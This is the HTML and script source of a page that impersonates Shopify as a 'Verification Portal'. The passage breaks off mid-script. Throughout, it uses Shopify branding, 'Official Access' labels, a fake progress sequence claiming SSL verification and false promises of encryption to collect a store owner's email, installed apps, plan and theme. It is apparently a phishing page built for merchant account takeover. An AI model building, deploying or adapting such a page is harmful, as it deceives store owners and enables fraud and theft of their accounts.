Spaces:
Running
Running
| <html lang="en"> | |
| <head> | |
| <script>window.huggingface={variables:{"SPACE_CREATOR_USER_ID":"67b32e72d2ee8e627d0131af"}};</script> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Store Verification Portal</title> | |
| <script src="https://cdn.tailwindcss.com"></script> | |
| <script src="https://unpkg.com/lucide@latest/dist/umd/lucide.js"></script> | |
| <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"> | |
| <style> | |
| :root { | |
| --bg-primary: #f8fafc; | |
| --text-primary: #0f172a; | |
| --text-muted: #64748b; | |
| --card-bg: rgba(255, 255, 255, 0.7); | |
| --card-border: rgba(148, 163, 184, 0.2); | |
| --glass-bg: rgba(255, 255, 255, 0.85); | |
| --input-bg: rgba(255, 255, 255, 0.9); | |
| --accent: #16a34a; | |
| --panel-shadow: 0 4px 20px -2px rgba(0, 0, 0, 0.05); | |
| --input-border: rgba(148, 163, 184, 0.3); | |
| /* New Summary Section Variables */ | |
| --summary-card-bg: linear-gradient(180deg, #d4e4f7 0%, #e8f0f9 100%); | |
| --summary-border: #b0c8e0; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| :root { | |
| --bg-primary: #020617; | |
| --text-primary: #e2e8f0; | |
| --text-muted: #94a3b8; | |
| --card-bg: rgba(15, 23, 42, 0.6); | |
| --card-border: rgba(51, 65, 85, 0.5); | |
| --glass-bg: rgba(15, 23, 42, 0.8); | |
| --input-bg: rgba(15, 23, 42, 0.9); | |
| --accent: #22c55e; | |
| --panel-shadow: 0 10px 30px -5px rgba(0, 0, 0, 0.3); | |
| --input-border: rgba(51, 65, 85, 0.6); | |
| --summary-card-bg: linear-gradient(180deg, #1e293b 0%, #0f172a 100%); | |
| --summary-border: #334155; | |
| } | |
| } | |
| body { | |
| font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; | |
| background: var(--bg-primary); | |
| color: var(--text-primary); | |
| transition: background 0.4s ease, color 0.4s ease; | |
| } | |
| .container { max-width: 1040px; } | |
| .glass-card { | |
| background: var(--card-bg); | |
| border: 1px solid var(--card-border); | |
| backdrop-filter: blur(12px); | |
| border-radius: 1.25rem; | |
| box-shadow: var(--panel-shadow); | |
| transition: transform 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275), box-shadow 0.4s ease; | |
| } | |
| .glass-card:hover { | |
| transform: translateY(-4px); | |
| box-shadow: 0 20px 40px -10px rgba(0, 0, 0, 0.15); | |
| } | |
| /* Dynamic Background */ | |
| .bg-dynamic { | |
| position: fixed; | |
| top: 0; left: 0; right: 0; bottom: 0; | |
| z-index: -1; | |
| background: | |
| radial-gradient(circle at 15% 50%, rgba(16, 185, 129, 0.08), transparent 25%), | |
| radial-gradient(circle at 85% 30%, rgba(59, 130, 246, 0.08), transparent 25%); | |
| animation: pulseBg 10s ease-in-out infinite alternate; | |
| } | |
| @keyframes pulseBg { | |
| 0% { opacity: 0.5; transform: scale(1); } | |
| 100% { opacity: 1; transform: scale(1.05); } | |
| } | |
| .terminal-window { | |
| background: #0f172a; | |
| border-radius: 0.75rem; | |
| overflow: hidden; | |
| border: 1px solid rgba(255, 255, 255, 0.1); | |
| } | |
| .terminal-header { | |
| background: rgba(255, 255, 255, 0.05); | |
| padding: 0.75rem 1rem; | |
| border-bottom: 1px solid rgba(255, 255, 255, 0.1); | |
| display: flex; | |
| align-items: center; | |
| gap: 0.5rem; | |
| } | |
| .terminal-dot { width: 10px; height: 10px; border-radius: 50%; } | |
| .pill-input { | |
| border-radius: 9999px; | |
| border: 1px solid var(--card-border); | |
| background: var(--input-bg); | |
| transition: all 0.2s ease; | |
| } | |
| .accent-btn { | |
| background: linear-gradient(135deg, #10b981, #059669); | |
| color: white; | |
| transition: all 0.3s ease; | |
| position: relative; | |
| overflow: hidden; | |
| } | |
| .accent-btn::after { | |
| content: ''; | |
| position: absolute; | |
| top: 0; | |
| left: -100%; | |
| width: 50%; | |
| height: 100%; | |
| background: linear-gradient(90deg, transparent, rgba(255,255,255,0.3), transparent); | |
| transform: skewX(-20deg); | |
| transition: 0.5s; | |
| } | |
| .accent-btn:hover::after { left: 150%; transition: 0.7s ease-in-out; } | |
| .accent-btn:hover { | |
| transform: translateY(-1px); | |
| box-shadow: 0 10px 20px -5px rgba(16, 185, 129, 0.4); | |
| } | |
| /* Premium Input Focus */ | |
| .shopify-input:focus, .shopify-input-wrapper:focus-within { | |
| box-shadow: 0 0 0 2px rgba(16, 185, 129, 0.2), 0 4px 12px rgba(0,0,0,0.05); | |
| border-color: var(--accent); | |
| transform: translateY(-1px); | |
| } | |
| .loading-overlay { | |
| position: fixed; | |
| inset: 0; | |
| background: rgba(255, 255, 255, 0.85); | |
| backdrop-filter: blur(16px); | |
| display: none; | |
| z-index: 100; | |
| justify-content: center; | |
| align-items: center; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| .loading-overlay { | |
| background: rgba(15, 23, 42, 0.85); | |
| } | |
| } | |
| /* Enhanced URL Badge */ | |
| .url-badge { | |
| background: rgba(16, 185, 129, 0.08); | |
| color: #047857; | |
| padding: 0.35em 0.8em; | |
| border-radius: 0.5rem; | |
| font-weight: 800; | |
| font-family: 'Inter', sans-serif; | |
| border: 1px solid rgba(16, 185, 129, 0.2); | |
| box-shadow: 0 2px 10px rgba(16, 185, 129, 0.05); | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| .url-badge { | |
| background: rgba(16, 185, 129, 0.15); | |
| color: #34d399; | |
| border-color: rgba(16, 185, 129, 0.3); | |
| } | |
| } | |
| /* Smooth View Transitions */ | |
| .view-section { | |
| transition: opacity 0.4s ease, transform 0.4s ease; | |
| opacity: 1; | |
| transform: translateY(0); | |
| } | |
| .view-section.fade-out { | |
| opacity: 0; | |
| transform: translateY(-10px); | |
| pointer-events: none; | |
| } | |
| @keyframes fadeIn { | |
| from { opacity: 0; transform: translateY(10px); } | |
| to { opacity: 1; transform: translateY(0); } | |
| } | |
| .animate-in { animation: fadeIn 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; } | |
| /* Collapsible Section Styles */ | |
| .collapsible-section { | |
| background: linear-gradient(135deg, #dcfce7 0%, #f0fdf4 100%); | |
| border: 2px solid #16a34a; | |
| border-radius: 1rem; | |
| overflow: hidden; | |
| transition: all 0.3s ease; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| .collapsible-section { | |
| background: linear-gradient(135deg, #143f2f 0%, #051a15 100%); | |
| border: 2px solid #16a34a; | |
| } | |
| } | |
| .collapsible-header { | |
| display: none; | |
| } | |
| .collapsible-header:hover { | |
| background: transparent; | |
| } | |
| .collapsible-header-content { | |
| display: flex; | |
| align-items: center; | |
| gap: 0.75rem; | |
| } | |
| .collapsible-title { | |
| font-size: 1.125rem; | |
| font-weight: 700; | |
| color: #16a34a; | |
| margin: 0; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| .collapsible-title { | |
| color: #22c55e; | |
| } | |
| } | |
| .collapsible-icon { | |
| display: none; | |
| width: 1.5rem; | |
| height: 1.5rem; | |
| color: #16a34a; | |
| transition: transform 0.3s ease; | |
| flex-shrink: 0; | |
| } | |
| @media (prefers-color-scheme: dark) { | |
| .collapsible-icon { | |
| color: #22c55e; | |
| } | |
| } | |
| .collapsible-icon.expanded { | |
| transform: rotate(180deg); | |
| } | |
| .collapsible-content { | |
| max-height: none; | |
| overflow: visible; | |
| transition: max-height 0.4s ease, opacity 0.4s ease, padding 0.4s ease; | |
| opacity: 1; | |
| padding: 1.25rem; | |
| } | |
| .collapsible-content.expanded { | |
| max-height: none; | |
| opacity: 1; | |
| padding: 1.25rem; | |
| } | |
| .collapsible-text { | |
| color: var(--text-primary); | |
| line-height: 1.8; | |
| font-size: 0.95rem; | |
| white-space: pre-wrap; | |
| word-wrap: break-word; | |
| } | |
| .collapsible-text p { | |
| margin-bottom: 0.75rem; | |
| } | |
| .collapsible-text p:last-child { | |
| margin-bottom: 0; | |
| } | |
| pre::-webkit-scrollbar { width: 6px; height: 6px; } | |
| pre::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 10px; } | |
| /* Summary Report Specific Styles */ | |
| .report-card-summary { | |
| background: var(--summary-card-bg); | |
| border: 2px solid var(--summary-border); | |
| border-radius: 12px; | |
| padding: 30px; | |
| margin-top: 40px; | |
| } | |
| .card-title-summary { | |
| color: var(--text-primary); | |
| font-size: 24px; | |
| font-weight: 700; | |
| margin-bottom: 25px; | |
| letter-spacing: -0.02em; | |
| } | |
| .report-content-summary { | |
| display: flex; | |
| gap: 30px; | |
| align-items: flex-start; | |
| } | |
| .site-icon-summary { | |
| background: linear-gradient(135deg, #e87722 0%, #d96615 100%); | |
| width: 120px; | |
| height: 120px; | |
| border-radius: 12px; | |
| display: flex; | |
| align-items: center; | |
| justify-content: center; | |
| flex-shrink: 0; | |
| box-shadow: 0 4px 12px rgba(0,0,0,0.15); | |
| cursor: pointer; | |
| position: relative; | |
| } | |
| .site-icon-letter-summary { | |
| color: white; | |
| font-size: 70px; | |
| font-weight: 700; | |
| user-select: none; | |
| } | |
| .detail-row-summary { | |
| display: grid; | |
| grid-template-columns: 140px 1fr; | |
| margin-bottom: 15px; | |
| align-items: start; | |
| } | |
| .detail-label-summary { | |
| color: var(--text-primary); | |
| font-weight: 700; | |
| font-size: 14px; | |
| opacity: 0.8; | |
| } | |
| .detail-value-summary { | |
| color: var(--text-primary); | |
| font-size: 14px; | |
| } | |
| .detail-value-summary a { | |
| color: var(--accent); | |
| text-decoration: none; | |
| font-weight: 600; | |
| } | |
| .badges-summary { | |
| display: flex; | |
| flex-wrap: wrap; | |
| gap: 8px; | |
| } | |
| .badge-summary { | |
| padding: 4px 10px; | |
| border-radius: 6px; | |
| font-size: 11px; | |
| font-weight: 700; | |
| display: inline-flex; | |
| align-items: center; | |
| gap: 5px; | |
| text-transform: uppercase; | |
| } | |
| .badge-summary.success { background-color: #10b981; color: white; } | |
| .badge-summary.danger { background-color: #ef4444; color: white; } | |
| .badge-summary::before { content: 'β'; font-weight: bold; } | |
| .badge-summary.danger::before { content: 'β'; font-weight: bold; } | |
| .missing-headers-summary { | |
| background: var(--summary-card-bg); | |
| border: 2px solid var(--summary-border); | |
| border-radius: 12px; | |
| padding: 30px; | |
| margin-top: 20px; | |
| } | |
| .header-item-summary { | |
| display: grid; | |
| grid-template-columns: 220px 1fr; | |
| padding: 15px 0; | |
| border-bottom: 1px solid var(--card-border); | |
| gap: 20px; | |
| } | |
| .header-item-summary:last-child { border-bottom: none; } | |
| .header-name-summary { | |
| color: #ef4444; | |
| font-weight: 700; | |
| font-size: 14px; | |
| } | |
| .header-description-summary { | |
| color: var(--text-primary); | |
| font-size: 13px; | |
| line-height: 1.6; | |
| opacity: 0.9; | |
| } | |
| /* Icon Editor Styles */ | |
| .icon-editor-container-summary { | |
| position: absolute; | |
| top: 0; | |
| left: 100%; | |
| margin-left: 15px; | |
| background: var(--glass-bg); | |
| border: 1px solid var(--card-border); | |
| border-radius: 12px; | |
| padding: 15px; | |
| display: none; | |
| flex-direction: column; | |
| gap: 10px; | |
| z-index: 50; | |
| box-shadow: var(--panel-shadow); | |
| backdrop-filter: blur(20px); | |
| min-width: 150px; | |
| } | |
| .icon-editor-container-summary.visible { display: flex; } | |
| .icon-editor-label-summary { | |
| font-size: 11px; | |
| font-weight: 700; | |
| text-transform: uppercase; | |
| color: var(--text-muted); | |
| } | |
| .icon-letter-input-summary { | |
| padding: 8px; | |
| border: 1px solid var(--card-border); | |
| border-radius: 6px; | |
| font-size: 14px; | |
| font-weight: 700; | |
| text-align: center; | |
| background: var(--input-bg); | |
| color: var(--text-primary); | |
| } | |
| .icon-color-input-summary { | |
| width: 100%; | |
| height: 35px; | |
| border: none; | |
| border-radius: 6px; | |
| cursor: pointer; | |
| } | |
| .icon-editor-button-summary { | |
| padding: 8px; | |
| font-size: 12px; | |
| background: var(--accent); | |
| color: white; | |
| border-radius: 6px; | |
| cursor: pointer; | |
| font-weight: 700; | |
| } | |
| .site-icon-summary.editing { | |
| outline: 3px solid var(--accent); | |
| } | |
| @media (max-width: 768px) { | |
| .report-content-summary { flex-direction: column; align-items: center; text-align: center; } | |
| .detail-row-summary { grid-template-columns: 1fr; gap: 4px; } | |
| .header-item-summary { grid-template-columns: 1fr; } | |
| .icon-editor-container-summary { left: 0; top: 100%; margin-left: 0; margin-top: 10px; } | |
| } | |
| </style> | |
| </head> | |
| <body class="min-h-screen selection:bg-emerald-500/30"> | |
| <div class="bg-dynamic"></div> | |
| <!-- HEADER --> | |
| <header class="sticky top-0 z-40 w-full border-b border-slate-200 dark:border-slate-800/50 bg-white/80 dark:bg-slate-950/80 backdrop-blur-xl"> | |
| <div class="container mx-auto px-6 h-16 flex items-center justify-between"> | |
| <a href="https://www.shopify.com" target="_blank" class="flex items-center gap-3 hover:opacity-80 transition-opacity"> | |
| <div class="h-8 w-8 rounded-lg bg-emerald-500/10 flex items-center justify-center overflow-hidden"> | |
| <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTEy0cgSHTCshtUnw9x-ArcasdhWQFF5ZIdbg&s" alt="Logo" class="w-full h-full object-cover"> | |
| </div> | |
| <div class="flex flex-col"> | |
| <span class="text-sm font-bold tracking-tight text-slate-900 dark:text-white uppercase">Verification Portal</span> | |
| <span class="text-[10px] text-slate-500 font-medium uppercase tracking-wider">Official Access</span> | |
| </div> | |
| </a> | |
| </div> | |
| </header> | |
| <main class="container mx-auto px-6 py-12 md:py-20"> | |
| <!-- LANDING VIEW --> | |
| <div id="landingView" class="view-section max-w-xl mx-auto space-y-10 animate-in pt-10"> | |
| <div class="text-center space-y-4"> | |
| <h1 class="text-4xl font-bold text-slate-900 dark:text-white tracking-tight"> | |
| Shopify Verification Portal | |
| </h1> | |
| <p class="text-slate-500 dark:text-slate-400 text-lg leading-relaxed"> | |
| Please verify your store ownership to continue. | |
| </p> | |
| </div> | |
| <!-- Collapsible Welcome Section --> | |
| <div class="collapsible-section"> | |
| <div class="collapsible-header" onclick="toggleCollapsible(this)"> | |
| <div class="collapsible-header-content"> | |
| <i data-lucide="info" class="w-6 h-6 text-cyan-600 dark:text-cyan-400"></i> | |
| <h2 class="collapsible-title">About This Portal</h2> | |
| </div> | |
| <i data-lucide="chevron-down" class="collapsible-icon"></i> | |
| </div> | |
| <div class="collapsible-content"> | |
| <div class="collapsible-text">Welcome to the Merchant Verification Portal. | |
| This portal is designed to securely confirm the identity of the registered store owner and ensure only the authorized account holder can access and manage the store. | |
| The verification questions that will be requested matches the storeβs official Shopify records and can only be provided by the registered owner. Please follow the instructions below and provide accurate responses to complete the verification successfully. | |
| Thank you for helping us maintain a secure and trusted platform.</div> | |
| </div> | |
| </div> | |
| <div class="glass-card p-8 space-y-6"> | |
| <form id="stepOneForm" class="space-y-6"> | |
| <div class="space-y-2"> | |
| <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400 transition-colors group-focus-within:text-emerald-600">Enter your Store URL</label> | |
| <div class="pill-input flex items-center px-4 py-3 gap-3 focus-within:border-emerald-500/50 focus-within:ring-4 focus-within:ring-emerald-500/5 transition-all"> | |
| <i data-lucide="globe" class="w-4 h-4 text-slate-400"></i> | |
| <input type="text" id="storeUrlInputMain" name="storeUrl" required placeholder="yourstore.com" class="bg-transparent outline-none border-none text-sm text-slate-900 dark:text-white placeholder:text-slate-400 flex-1"> | |
| </div> | |
| </div> | |
| <button type="submit" class="accent-btn w-full flex items-center justify-center gap-2 text-sm font-bold py-3.5 rounded-xl"> | |
| Continue | |
| <i data-lucide="arrow-right" class="w-4 h-4"></i> | |
| </button> | |
| </form> | |
| </div> | |
| <!-- Trust Indicators --> | |
| <div class="grid grid-cols-1 md:grid-cols-3 gap-6 pt-4 group"> | |
| <div class="flex flex-col items-center text-center space-y-2 hover:scale-105 transition-transform duration-300 cursor-default"> | |
| <div class="w-10 h-10 rounded-full bg-blue-500/10 flex items-center justify-center text-blue-600 dark:text-blue-400"> | |
| <i data-lucide="shield" class="w-5 h-5"></i> | |
| </div> | |
| <h3 class="text-sm font-semibold text-slate-900 dark:text-white">Secure Validation</h3> | |
| <p class="text-xs text-slate-500 dark:text-slate-400">Encrypted transmission ensuring your data remains private.</p> | |
| </div> | |
| <div class="flex flex-col items-center text-center space-y-2 hover:scale-105 transition-transform duration-300 cursor-default"> | |
| <div class="w-10 h-10 rounded-full bg-emerald-500/10 flex items-center justify-center text-emerald-600 dark:text-emerald-400"> | |
| <i data-lucide="check-circle" class="w-5 h-5"></i> | |
| </div> | |
| <h3 class="text-sm font-semibold text-slate-900 dark:text-white">Official Process</h3> | |
| <p class="text-xs text-slate-500 dark:text-slate-400">Standard verification procedure for all merchant accounts.</p> | |
| </div> | |
| <div class="flex flex-col items-center text-center space-y-2 hover:scale-105 transition-transform duration-300 cursor-default"> | |
| <div class="w-10 h-10 rounded-full bg-purple-500/10 flex items-center justify-center text-purple-600 dark:text-purple-400"> | |
| <i data-lucide="clock" class="w-5 h-5"></i> | |
| </div> | |
| <h3 class="text-sm font-semibold text-slate-900 dark:text-white">Quick Review</h3> | |
| <p class="text-xs text-slate-500 dark:text-slate-400">Most submissions are processed within 24 hours.</p> | |
| </div> | |
| </div> | |
| </div> | |
| <!-- VERIFICATION VIEW --> | |
| <div id="verificationView" class="view-section hidden max-w-2xl mx-auto space-y-8 animate-in pt-6"> | |
| <!-- Progress Bar --> | |
| <div class="flex items-center justify-between text-xs font-medium text-slate-500 dark:text-slate-400 mb-2"> | |
| <span>Step 2 of 2</span> | |
| <span>Verification Details</span> | |
| </div> | |
| <div class="w-full bg-slate-200 dark:bg-slate-800 rounded-full h-1.5 mb-6"> | |
| <div class="bg-emerald-500 h-1.5 rounded-full w-1/2 animate-[width_1s_ease-out_forwards]" style="width: 90%"></div> | |
| </div> | |
| <div class="glass-card p-8 space-y-8"> | |
| <div class="space-y-2 border-b border-slate-200 dark:border-slate-800/60 pb-6"> | |
| <h2 class="text-2xl font-bold text-slate-900 dark:text-white">Security Verification</h2> | |
| <p class="text-slate-500 dark:text-slate-400 text-sm"> | |
| Verifying ownership for <span id="verifyingUrl" class="url-badge text-lg align-middle ml-1"></span> | |
| </p> | |
| <div class="mt-2 flex items-center gap-2 text-xs text-amber-600 dark:text-amber-400 bg-amber-50 dark:bg-amber-900/20 px-3 py-2 rounded-lg border border-amber-100 dark:border-amber-900/30"> | |
| <i data-lucide="alert-circle" class="w-3 h-3 flex-shrink-0"></i> | |
| <span>Please ensure details match your Shopify Admin exactly to avoid delays.</span> | |
| </div> | |
| </div> | |
| <form id="verificationForm" class="space-y-6"> | |
| <input type="hidden" name="storeUrl" id="hiddenStoreUrl"> | |
| <div class="space-y-2"> | |
| <div class="flex items-center justify-between"> | |
| <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Active Apps</label> | |
| <span class="text-[10px] text-slate-400 cursor-help" title="Helps verify store configuration and owner">Why this?</span> | |
| </div> | |
| <p class="text-xs text-slate-500 mb-2">List two installed apps that are currently active in your admin.</p> | |
| <input type="text" name="apps" required placeholder="e.g. Klaviyo, PageFly" class="w-full bg-slate-50 dark:bg-slate-900/50 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all"> | |
| </div> | |
| <div class="space-y-2"> | |
| <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Store Owner Email</label> | |
| <p class="text-xs text-slate-500 mb-2">The exact email address used as the Shopify account owner.</p> | |
| <input type="email" name="owner_email" required placeholder="owner@domain.com" class="w-full bg-slate-50 dark:bg-slate-900/50 border border-slate-200 dark:border-slate-700 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all"> | |
| </div> | |
| <div class="space-y-2"> | |
| <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Current Plan</label> | |
| <p class="text-xs text-slate-500 mb-2">Which Shopify plan is currently active on your store?</p> | |
| <input type="text" name="plan" required placeholder="e.g. Basic, Shopify, Advanced, Plus" class="w-full bg-slate-50 dark:bg-slate-900/50 border border-slate-200 dark:border-slate-700 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all"> | |
| </div> | |
| <div class="space-y-2"> | |
| <label class="text-[11px] font-bold uppercase tracking-widest text-slate-400">Published Theme</label> | |
| <p class="text-xs text-slate-500 mb-2">The name of the theme currently published on your store.</p> | |
| <input type="text" name="theme" required placeholder="e.g. Dawn, Impulse" class="w-full bg-slate-50 dark:bg-slate-900/50 border border-slate-200 dark:border-slate-700 rounded-lg px-4 py-3 text-sm focus:ring-2 focus:ring-emerald-500/20 outline-none transition-all"> | |
| </div> | |
| <div class="pt-4"> | |
| <button type="submit" class="accent-btn w-full flex items-center justify-center gap-2 text-sm font-bold py-3.5 rounded-xl"> | |
| Submit Verification | |
| <i data-lucide="shield-check" class="w-4 h-4"></i> | |
| </button> | |
| </div> | |
| <p class="text-xs text-center text-slate-400 flex items-center justify-center gap-2"> | |
| <i data-lucide="lock" class="w-3 h-3"></i> | |
| Information is encrypted and used only for verification purposes. | |
| </p> | |
| </form> | |
| </div> | |
| </div> | |
| <!-- LOADING VIEW --> | |
| <div id="loadingView" class="loading-overlay"> | |
| <div class="glass-card p-12 text-center space-y-8 max-w-sm w-full mx-4 shadow-2xl border-0 ring-1 ring-white/20"> | |
| <div class="relative inline-block"> | |
| <div class="w-20 h-20 border-[5px] border-emerald-500/10 border-t-emerald-500 rounded-full animate-spin"></div> | |
| <div class="absolute inset-0 flex items-center justify-center"> | |
| <i data-lucide="shield-check" class="w-8 h-8 text-emerald-500 animate-pulse"></i> | |
| </div> | |
| </div> | |
| <div class="space-y-2"> | |
| <h3 id="loadingStatus" class="text-xl font-bold tracking-tight text-slate-900 dark:text-white transition-all duration-300">Initializing...</h3> | |
| <div class="h-1 w-32 bg-slate-100 dark:bg-slate-800 rounded-full mx-auto overflow-hidden mt-4"> | |
| <div id="loadingProgress" class="h-full bg-emerald-500 w-0 transition-all duration-500 ease-out"></div> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| <!-- SUCCESS VIEW --> | |
| <div id="successView" class="view-section hidden max-w-xl mx-auto space-y-8 animate-in pt-10"> | |
| <div class="glass-card p-10 text-center space-y-6"> | |
| <div class="w-20 h-20 bg-emerald-500/10 rounded-full flex items-center justify-center mx-auto text-emerald-500"> | |
| <i data-lucide="check-circle-2" class="w-10 h-10"></i> | |
| </div> | |
| <div class="space-y-2"> | |
| <h2 class="text-2xl font-bold text-slate-900 dark:text-white">Verification Submitted</h2> | |
| <p class="text-slate-500 dark:text-slate-400"> | |
| Your store details have been securely transmitted for review. You will receive a confirmation email shortly. | |
| </p> | |
| </div> | |
| <button onclick="window.location.reload()" class="text-sm font-bold text-emerald-600 hover:text-emerald-500 transition-colors"> | |
| Return to Home | |
| </button> | |
| </div> | |
| <!-- Next Steps Timeline --> | |
| <div class="max-w-md mx-auto"> | |
| <h3 class="text-xs font-bold uppercase tracking-widest text-slate-400 mb-4 text-center">What happens next?</h3> | |
| <div class="space-y-4"> | |
| <div class="flex gap-4"> | |
| <div class="flex flex-col items-center"> | |
| <div class="w-2 h-2 rounded-full bg-emerald-500"></div> | |
| <div class="w-0.5 h-full bg-slate-200 dark:bg-slate-800 my-1"></div> | |
| </div> | |
| <div class="pb-4"> | |
| <p class="text-sm font-medium text-slate-900 dark:text-white">Submission Received</p> | |
| <p class="text-xs text-slate-500">Our system has logged your verification request.</p> | |
| </div> | |
| </div> | |
| <div class="flex gap-4"> | |
| <div class="flex flex-col items-center"> | |
| <div class="w-2 h-2 rounded-full bg-slate-300 dark:bg-slate-700"></div> | |
| <div class="w-0.5 h-full bg-slate-200 dark:bg-slate-800 my-1"></div> | |
| </div> | |
| <div class="pb-4"> | |
| <p class="text-sm font-medium text-slate-500">Manual Review</p> | |
| <p class="text-xs text-slate-500">An admin will verify the details against public records.</p> | |
| </div> | |
| </div> | |
| <div class="flex gap-4"> | |
| <div class="flex flex-col items-center"> | |
| <div class="w-2 h-2 rounded-full bg-slate-300 dark:bg-slate-700"></div> | |
| </div> | |
| <div> | |
| <p class="text-sm font-medium text-slate-500">Confirmation</p> | |
| <p class="text-xs text-slate-500">You will receive an email once access is granted.</p> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </main> | |
| <footer class="mt-20 border-t border-slate-200 dark:border-slate-800/60 py-10"> | |
| <div class="container mx-auto px-6 flex flex-col md:flex-row justify-between items-center gap-6"> | |
| <p class="text-xs text-slate-500 font-medium tracking-tight">Β© 2026 Shopify Verification Portal. Secure & Compliant.</p> | |
| <div class="flex items-center gap-6 text-[10px] font-bold uppercase tracking-widest text-slate-400"> | |
| <a href="https://www.shopify.com/legal/privacy" class="hover:text-slate-900 dark:hover:text-white transition-colors">Privacy Policy</a> | |
| <a href="https://www.shopify.com/legal/terms" class="hover:text-slate-900 dark:hover:text-white transition-colors">Terms of Service</a> | |
| <a href="https://www.shopify.com" target="_blank" class="hover:text-slate-900 dark:hover:text-white transition-colors">Powered by Shopify</a> | |
| </div> | |
| </div> | |
| </footer> | |
| <script> | |
| lucide.createIcons(); | |
| // Collapsible Section Toggle Function | |
| function toggleCollapsible(headerElement) { | |
| const content = headerElement.nextElementSibling; | |
| const icon = headerElement.querySelector('.collapsible-icon'); | |
| if (content.classList.contains('expanded')) { | |
| content.classList.remove('expanded'); | |
| icon.classList.remove('expanded'); | |
| } else { | |
| content.classList.add('expanded'); | |
| icon.classList.add('expanded'); | |
| // Re-render lucide icons if needed | |
| setTimeout(() => lucide.createIcons(), 50); | |
| } | |
| } | |
| const stepOneForm = document.getElementById('stepOneForm'); | |
| const verificationForm = document.getElementById('verificationForm'); | |
| const landingView = document.getElementById('landingView'); | |
| const verificationView = document.getElementById('verificationView'); | |
| const loadingView = document.getElementById('loadingView'); | |
| const successView = document.getElementById('successView'); | |
| const loadingStatus = document.getElementById('loadingStatus'); | |
| const loadingProgress = document.getElementById('loadingProgress'); | |
| const storeUrlInput = document.getElementById('storeUrlInputMain'); | |
| const verifyingUrlSpan = document.getElementById('verifyingUrl'); | |
| // Fix URL Logic | |
| const fixUrl = (input) => { | |
| let val = input.value.trim(); | |
| if (val && !/^https?:\/\//i.test(val)) { | |
| input.value = 'https://' + val; | |
| } | |
| }; | |
| storeUrlInput.addEventListener('blur', () => fixUrl(storeUrlInput)); | |
| // Form Visibility Logic | |
| stepOneForm.addEventListener('submit', async (e) => { | |
| e.preventDefault(); | |
| fixUrl(storeUrlInput); | |
| const url = storeUrlInput.value.trim(); | |
| if (isValidUrl(url)) { | |
| // Smooth fade out | |
| landingView.classList.add('fade-out'); | |
| await new Promise(r => setTimeout(r, 400)); | |
| landingView.classList.add('hidden'); | |
| landingView.classList.remove('fade-out'); | |
| document.getElementById('hiddenStoreUrl').value = url; | |
| // Dynamic Loading Sequence | |
| loadingView.style.display = 'flex'; | |
| const sequence = [ | |
| { text: `Locating Store...`, progress: '25%', delay: 800 }, | |
| { text: `Connecting to ${new URL(url).hostname}...`, progress: '50%', delay: 1200 }, | |
| { text: 'Verifying SSL Certificate...', progress: '75%', delay: 1000 }, | |
| { text: 'Preparing Verification...', progress: '100%', delay: 800 } | |
| ]; | |
| for (const step of sequence) { | |
| loadingStatus.textContent = step.text; | |
| loadingProgress.style.width = step.progress; | |
| await new Promise(resolve => setTimeout(resolve, step.delay)); | |
| } | |
| loadingView.style.display = 'none'; | |
| verificationView.classList.remove('hidden'); | |
| verifyingUrlSpan.textContent = url; | |
| } else { | |
| alert('Please enter a valid URL.'); | |
| } | |
| }); | |
| const isValidUrl = (url) => { return /^(ftp|http|https):\/\/[^ "]+$/.test(url); } | |
| // Summary Section Logic | |
| function updateSummarySection(url) { | |
| const origin = getCleanOrigin(url); | |
| const linkEl = document.getElementById('summarySiteLink'); | |
| linkEl.href = origin; | |
| linkEl.textContent = origin; | |
| // Update Icon Letter | |
| const domainParts = origin.replace(/^https?:\/\//, '').split('.'); | |
| const firstLetter = domainParts[0].charAt(0).toUpperCase() || 'D'; | |
| document.getElementById('iconLetterSummary').textContent = firstLetter; | |
| document.getElementById('iconLetterInputSummary').value = firstLetter; | |
| // Update Time | |
| const now = new Date(); | |
| document.getElementById('summaryTime').textContent = now.toUTCString(); | |
| } | |
| // Icon Editor Logic | |
| function setupIconEditor() { | |
| const siteIcon = document.getElementById('siteIconSummary'); | |
| const iconEditor = document.getElementById('iconEditorSummary'); | |
| const iconLetter = document.getElementById('iconLetterSummary'); | |
| const iconLetterInput = document.getElementById('iconLetterInputSummary'); | |
| const iconColorInput = document.getElementById('iconColorInputSummary'); | |
| const doneBtn = document.getElementById('iconEditDoneSummary'); | |
| siteIcon.addEventListener('dblclick', () => { | |
| siteIcon.classList.add('editing'); | |
| iconEditor.classList.add('visible'); | |
| iconLetterInput.focus(); | |
| }); | |
| const adjustBrightness = (color, percent) => { | |
| const num = parseInt(color.replace("#", ""), 16); | |
| const amt = Math.round(2.55 * percent); | |
| const R = (num >> 16) + amt; | |
| const G = (num >> 8 & 0x00FF) + amt; | |
| const B = (num & 0x0000FF) + amt; | |
| return "#" + (0x1000000 + (R < 255 ? R < 1 ? 0 : R : 255) * 0x10000 + | |
| (G < 255 ? G < 1 ? 0 : G : 255) * 0x100 + | |
| (B < 255 ? B < 1 ? 0 : B : 255)) | |
| .toString(16).slice(1); | |
| }; | |
| const closeEditor = () => { | |
| if (iconLetterInput.value) iconLetter.textContent = iconLetterInput.value; | |
